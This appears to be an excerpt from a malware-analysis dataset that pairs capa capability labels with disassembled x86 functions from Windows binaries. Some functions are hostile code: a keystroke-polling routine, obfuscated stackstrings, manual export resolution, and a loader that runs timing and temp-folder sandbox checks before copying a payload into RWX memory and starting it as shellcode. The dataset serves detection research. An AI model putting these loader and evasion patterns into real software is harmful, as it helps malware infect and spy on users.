joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49a054
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffed8
mov ebx, ecx
mov edi, edx
mov esi, eax
call sub.USER32.DLL_GetMessagePos
call fcn.00433680
mov dword [esp + 8], eax
movsx eax, word [esp + 8]
mov dword [esp + 0xc], eax
movsx eax, word [esp + 0xa]
mov dword [esp + 0x10], eax
mov ecx, esp
lea edx, [esp + 0xc]
mov eax, esi
call fcn.004945e0
test ebx, ebx
jne 0x49a0a7
push 0
push 0
lea edx, [esp + 8]
xor ecx, ecx
mov eax, esi
call fcn.00499ee8
mov ebx, eax
test ebx, ebx
je 0x49a192
cmp esi, ebx
je 0x49a0d0
mov eax, dword [esp]
sub eax, dword [ebx + 0x40]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
sub eax, dword [ebx + 0x44]
mov dword [esp + 0x118], eax
jmp 0x49a0e5
mov eax, dword [esp]
mov dword [esp + 0x114], eax
mov eax, dword [esp + 4]
mov dword [esp + 0x118], eax
movzx eax, word [edi + 8]
mov dword [esp + 0x11c], eax
mov eax, dword [edi + 4]
mov dword [esp + 0x124], eax
movzx eax, word [edi + 0xa]
cmp eax, 0x201
jge 0x49a11d
add eax, 0xffffff5f
sub eax, 2
jb 0x49a135
dec eax
sub eax, 2
jb 0x49a149
dec eax
sub eax, 2
jb 0x49a13f
jmp 0x49a153
add eax, 0xfffffdff
sub eax, 2
jb 0x49a135
dec eax
sub eax, 2
jb 0x49a149
dec eax
sub eax, 2
jb 0x49a13f
jmp 0x49a153
mov byte [esp + 0x120], 0
jmp 0x49a15b
mov byte [esp + 0x120], 2
jmp 0x49a15b
mov byte [esp + 0x120], 1
jmp 0x49a15b
mov byte [esp + 0x120], 0
lea eax, [esp + 0x14]
push eax
call sub.USER32.DLL_GetKeyboardState
lea eax, [esp + 0x14]
call fcn.0047adfc
mov byte [esp + 0x121], al
lea eax, [esp + 0x114]
push eax
xor ecx, ecx
mov edx, 0xb04b
mov eax, ebx
call fcn.00495dd0
mov dword [edi + 0xc], eax
mov al, 1
jmp 0x49a194
xor eax, eax
add esp, 0x128
pop edi
pop esi
pop ebx
ret

Function at 0x501b8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x501ba8
call fcn.00502d04
pop ebx
pop ebp
ret
test byte [ebp + 0xc], 2
je 0x501bc7
test bl, 1
je 0x501bc7
call fcn.00509d38
mov dword [eax], 5
or eax, 0xffffffff
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x5065dc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.KERNEL32.DLL_GetLocaleInfoA
push 0x525f8f
lea ecx, [ebp - 0x200]
push ecx
call fcn.005008f0
add esp, 8
lea eax, [ebp - 0x200]
push eax
call fcn.00500a08
pop ecx
mov edx, pe_nt_image_headers32
sub edx, eax
push edx
lea ecx, [ebp - 0x200]
push ecx
call fcn.00500a08
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
push 0x525f91
lea ecx, [ebp - 0x200]
push ecx
call fcn.005008f0
add esp, 8
push 0xa
lea eax, [ebp - 0x200]
push eax
call fcn.00500a08
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov ecx, dword [ebx]
push ecx
call fcn.00507a7c
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x5066ed
push esi
call fcn.00500a08
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.00500a08
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.004ffd90
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x5066c4
xor eax, eax
jmp 0x506774
push esi
call fcn.00500a08
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.00500a08
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.00500848
add esp, 0xc
jmp 0x50672d
mov edi, dword [ebx + 0x24]
push edi
call fcn.00500a08
pop ecx
push eax
push esi
call fcn.00500a08
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.00500a08
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.004ffdb0
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x50672d
xor eax, eax
jmp 0x506774
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.005008f0
add esp, 8
push 0x525f93
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.005008f0
add esp, 8
lea eax, [ebp - 0x200]
push eax
mov edx, dword [ebx + 0x24]
push edx
call fcn.005008f0
add esp, 8
push 0x525f95
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.005008f0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x509ccc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
jne 0x509cf9
jmp 0x509d30
call fcn.00509c7c
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.00500a08
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.00500a08
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x509db4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x5265c4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x509e8e
cmp dword [0x5265c0], 0
jne 0x509e8e
cmp dword [0x5267c0], 0
je 0x509e48
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.00509b7c
add esp, 8
mov ebx, eax
test eax, eax
jne 0x509e2e
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.00509b7c
add esp, 8
mov ebx, eax
test eax, eax
jne 0x509e2e
lea ebx, [ebp - 0x84]
jmp 0x509e2f
inc ebx
call fcn.00509d6c
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x509ec9
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x5265c8
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.00500a08
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x5265cb
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x509ec9
cmp dword [0x5265c0], 0
je 0x509ea8
cmp dword [0x5265c0], 0xffffffff
je 0x509ec9
push esi
call dword [0x5265c0]
pop ecx
mov eax, dword [0x5265c4]
test eax, eax
je 0x509ec9
cmp dword [0x5265c4], 0xffffffff
je 0x509ec9
cmp byte [eax], 0
je 0x509ec9
push esi
push eax
call fcn.00509ccc
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402460
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4110
call fcn.0040a5c0
mov eax, dword [0x411014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3c
lea ecx, [ebp - 0x4104]
sub eax, ecx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, 0x5738c4
mov dword [ebp - 0x4110], eax
xor ebx, ebx
lea ebx, [ebx]
cmp byte [esi], bl
je 0x402563
push esi
push str.SYSTEMCurrentControlSetControlNetwork4D36E972_E325_11CE_BFC1_08002BE10318
lea edx, [ebp - 0x104]
push str._s_sConnection
push edx
call fcn.0040400d
add esp, 0x10
lea eax, [ebp - 0x4108]
push eax
push 0x20019
push ebx
lea ecx, [ebp - 0x104]
push ecx
push 0x80000002
call edi
test eax, eax
jne 0x402563
mov ecx, dword [ebp - 0x4108]
lea edx, [ebp - 0x410c]
push edx
lea eax, [ebp - 0x4104]
push eax
push ebx
push ebx
push str.Name
push ecx
mov byte [ebp - 0x4104], bl
mov dword [ebp - 0x410c], 0x3fff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402542
mov edx, dword [ebp - 0x410c]
mov byte [ebp + edx - 0x4104], bl
mov edx, dword [ebp - 0x4110]
lea eax, [ebp - 0x4104]
add edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402536
jmp 0x402556
lea edx, [ebp - 0x104]
push edx
push str.GetInterfaceNames:_error_for___s__n
call fcn.00403fb0
add esp, 8
mov eax, dword [ebp - 0x4108]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 0x384
cmp esi, 0x6d31c4
jl 0x4024a0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403ffe
mov esp, ebp
pop ebp
ret
Function at 0x4031e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x411014]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov cl, byte [eax]
push esi
push edi
cmp cl, 4
jne 0x403206
mov ecx, str.ipv4
jmp 0x403214
cmp cl, 6
jne 0x40331c
mov ecx, str.ipv6
mov esi, 0x240
cmp dword [eax + 4], esi
jae 0x403221
mov dword [eax + 4], esi
mov eax, dword [eax + 4]
push eax
push edx
push ecx
lea ecx, [ebp - 0x10c]
push str.C:Windows_system32_netsh.exe_interface__s_set_interface_interface__s__mtu_u
push ecx
call fcn.0040400d
lea edx, [ebp - 0x10c]
push edx
push str.QCMTU_SetMTU:_calling___s__n
call fcn.00403fb0
xor eax, eax
push 0x44
push eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x16c]
push eax
call fcn.004097d0
add esp, 0x28
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x16c]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
mov dword [ebp - 0x16c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
test esi, esi
jne 0x4032bb
push str.QCMTU_SetMTU:_CreateProcess_failure_n
call fcn.00403fb0
add esp, 4
mov ecx, dword [ebp - 0x11c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x11c]
lea edx, [ebp - 0x120]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x11c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [ebp - 0x118]
push edx
call edi
mov eax, dword [ebp - 0x120]
push eax
push str.QCMTU_SetMTU:_exit_0x_X_n
call fcn.00403fb0
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00403ffe
mov esp, ebp
pop ebp
ret
push str.QCMTU_SetMTU:_error:_invalid_IP_version_n
call fcn.00403fb0
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00403ffe
mov esp, ebp
pop ebp
ret
Function at 0x405883
Capabilities:
Contain obfuscated stackstrings

Disassembly:
clc
and byte [ebp - 0x354], 0
and byte [ebp - 0x353], 0
mov byte [ebp - 0x352], 0xda
and byte [ebp - 0x351], 0
mov byte [ebp - 0x350], 0x62
mov byte [ebp - 0x34f], 0x40
mov byte [ebp - 0x34e], 0x51
mov byte [ebp - 0x34d], 0x75
jne 0x40584b
test dword [esp + edi*8 - 0x39a80001], esi
test dword [ebp + 0x4afffffc], esi
jne 0x40584b
test dword [esp + edi*8 - 0x39a80001], esi
test dword [ebp + 0x4afffffc], esi
mov byte [ebp - 0x34a], 0x46

Function at 0x405893
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [esi + 0x46fffffc], esi
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
invalid
invalid
lodsb al, byte [esi]
cld

Function at 0x4064d6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec eax
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.00405039
jne fcn.004064d6
mov dword [ebp - 0x72b7b], ecx
call dword [eax - 0x18]
pop ss
jmp 0x406530
invalid
Function at 0x4010d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate files on windows
Execute shellcode via indirect call
Query environment variable
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x412e08
mov eax, dword fs:[0]
push eax
sub esp, 0x164
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, eax
push 0x12c
call ebx
call esi
sub eax, edi
lea edi, [eax - 0x12c]
mov eax, edi
cdq
mov esi, edx
mov dword [ebp - 0x170], eax
push esi
push eax
push str.v4:_d_n
call fcn.00401090
mov eax, esi
add esp, 0xc
xor eax, edi
sub eax, esi
cmp eax, 0x64
jle 0x40114c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.none___n
call fcn.00401090
add esp, 4
xor edi, edi
push 0x1000
call fcn.00406aca
add esp, 4
mov esi, eax
push 0x1000
push esi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push esi
lea ecx, [ebp - 0x28]
call fcn.00401330
mov dword [ebp - 4], edi
mov edx, dword [ebp - 0x14]
mov eax, edx
mov ecx, dword [ebp - 0x18]
sub eax, ecx
push 2
cmp eax, 2
jb 0x4011be
cmp edx, 0x10
lea esi, [ebp - 0x28]
lea eax, [ecx + 2]
cmovae esi, dword [ebp - 0x28]
add esi, ecx
mov dword [ebp - 0x18], eax
push 0x418730
push esi
call fcn.00404240
add esp, 0xc
mov byte [esi + 2], 0
jmp 0x4011d6
push ecx
mov byte [ebp - 0x16c], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x16c]
push 2
call fcn.00401470
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x168]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40121c
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop dword [eax]
lea eax, [ebp - 0x168]
inc edi
push eax
push esi
call ebx
test eax, eax
jne 0x401200
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push str.count:_d_n
call fcn.00401060
add esp, 8
cmp edi, 5
jge 0x40123e
push 0x3e8
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40126e
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401264
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4012d6
push edx
push ecx
call fcn.0040197b
add esp, 8
call fcn.004015d0
push 0x40
push 0x3000
push 0x5a250
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x5a250
push dword [0x41b4e0]
mov esi, eax
push esi
call fcn.00404900
add esp, 0xc
push 0
push 0
push esi
push esi
push 0
push 0
call fcn.00405114
add esp, 0x18
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040193a
mov esp, ebp
pop ebp
ret
call fcn.00406a7a
int3
Function at 0x40b77c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040b43c
Function at 0x1000fee2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x1000ff05
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x1000ff05
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x1000ff0f
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x1000ff51
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x1000ffb3
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x1000ffae
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x1000ff99
test dl, dl
je 0x1000ff95
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x1000ff99
add ecx, 2
add eax, 2
test dl, dl
jne 0x1000ff79
xor eax, eax
jmp 0x1000ff9e
sbb eax, eax
or eax, 1
test eax, eax
je 0x1000ffbf
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x1000ff66
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x10010044
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x10010067
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x10010067
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x10010071
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x100100b3
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x10010115
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x10010110
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100100fb
test dl, dl
je 0x100100f7
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100100fb
add ecx, 2
add eax, 2
test dl, dl
jne 0x100100db
xor eax, eax
jmp 0x10010100
sbb eax, eax
or eax, 1
test eax, eax
je 0x10010121
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x100100c8
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x100101b3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x100101d6
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x100101d6
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x100101e0
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x10010222
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x10010284
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x1001027f
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x1001026a
test dl, dl
je 0x10010266
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x1001026a
add ecx, 2
add eax, 2
test dl, dl
jne 0x1001024a
xor eax, eax
jmp 0x1001026f
sbb eax, eax
or eax, 1
test eax, eax
je 0x10010290
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x10010237
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x1001031d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x10010340
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x10010340
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x1001034a
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x1001038c
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x100103ee
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x100103e9
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100103d4
test dl, dl
je 0x100103d0
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100103d4
add ecx, 2
add eax, 2
test dl, dl
jne 0x100103b4
xor eax, eax
jmp 0x100103d9
sbb eax, eax
or eax, 1
test eax, eax
je 0x100103fa
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x100103a1
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
Function at 0x10010493
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x100104b6
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x100104b6
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x100104c0
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x10010502
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x10010564
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x1001055f
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x1001054a
test dl, dl
je 0x10010546
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x1001054a
add ecx, 2
add eax, 2
test dl, dl
jne 0x1001052a
xor eax, eax
jmp 0x1001054f
sbb eax, eax
or eax, 1
test eax, eax
je 0x10010570
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x10010517
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8